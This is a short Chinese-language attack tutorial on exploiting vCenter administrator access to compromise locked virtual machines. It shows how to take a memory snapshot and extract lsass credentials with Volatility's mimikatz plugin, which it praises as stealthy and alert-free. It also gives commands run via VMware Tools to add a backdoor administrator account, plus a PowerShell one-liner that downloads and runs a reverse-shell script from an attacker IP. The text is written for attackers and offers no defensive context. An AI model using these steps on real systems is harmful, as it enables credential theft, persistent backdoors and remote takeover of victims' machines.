5-15

拿到 vCenter 管理员权限,但部分虚拟机处于锁屏状态怎么办

1. 内存转储攻击

这是最强大且隐蔽的攻击方式,它能让你在不与虚拟机桌面直接交互的情况下,窃取到所有已登录用户的密码

  • 原理:Windows 操作系统在运行时,会将已登录用户的明文密码、NTLM 哈希和 Kerberos 票据等凭据信息,存储在 lsass.exe 进程的内存中。作为 vCenter 管理员,你可以获取虚拟机的**内存快照,这个快照文件包含了虚拟机在某一时刻的全部内存数据
  • 操作步骤

    1. 在 vCenter 界面中,找到锁屏的虚拟机
    2. 右键点击虚拟机,选择 Snapshot -> Take Snapshot。在弹出的窗口中,勾选 “Snapshot the virtual machine’s memory”
    3. 等待快照完成后,找到这个快照文件(通常是 .vmem.vmss 文件)。这个文件通常位于 ESXi 主机的数据存储(Datastore)上
    4. 将这个文件下载到你的攻击机
    5. 在攻击机上使用内存取证工具,例如 Volatility。执行命令来分析 .vmem 文件并提取凭据

      # 识别操作系统类型
      volatility -f <内存快照文件> imageinfo
      # 从lsass进程中提取密码哈希和明文密码
      volatility -f <内存快照文件> --profile=<识别出的操作系统> mimikatz
  • 优点:这种方法非常隐蔽,几乎不会在虚拟机内留下任何痕迹,也不会触发任何安全告警。即使虚拟机锁屏,你依然可以成功获取登录凭据

2. 利用 VMware Tools 在虚拟机内执行命令

如果虚拟机内安装了 VMware Tools,你就可以利用 vCenter 的 Guest Operations 功能,直接在虚拟机内部执行命令,而无需登录

  • 原理:VMware Tools 是一个运行在虚拟机操作系统中的服务,它与 vCenter 后台进程进行通信。这使得 vCenter 可以远程管理虚拟机,包括文件传输、脚本执行等
  • 操作步骤
    1. 在 vCenter 界面中,找到锁屏的虚拟机
    2. 右键点击虚拟机,选择 Guest OS -> Run Program in Guest
    3. 在弹出的对话框中,你可以输入想要执行的命令
    4. 你可以执行以下命令来建立一个持久化的后门
      • 创建新的管理员用户C:WindowsSystem32cmd.exe /c "net user newuser password /add" C:WindowsSystem32cmd.exe /c "net localgroup administrators newuser /add"
      • 下载并执行反向 ShellC:WindowsSystem32WindowsPowerShellv1.0powershell.exe -c "iwr http://<攻击机IP>/shell.ps1 -OutFile C:tempshell.ps1; Start-Process C:tempshell.ps1"
  • 优点:这种方法简单直接,只要虚拟机处于开机状态且 VMware Tools 运行正常,你就可以绕过锁屏,直接在内部执行命令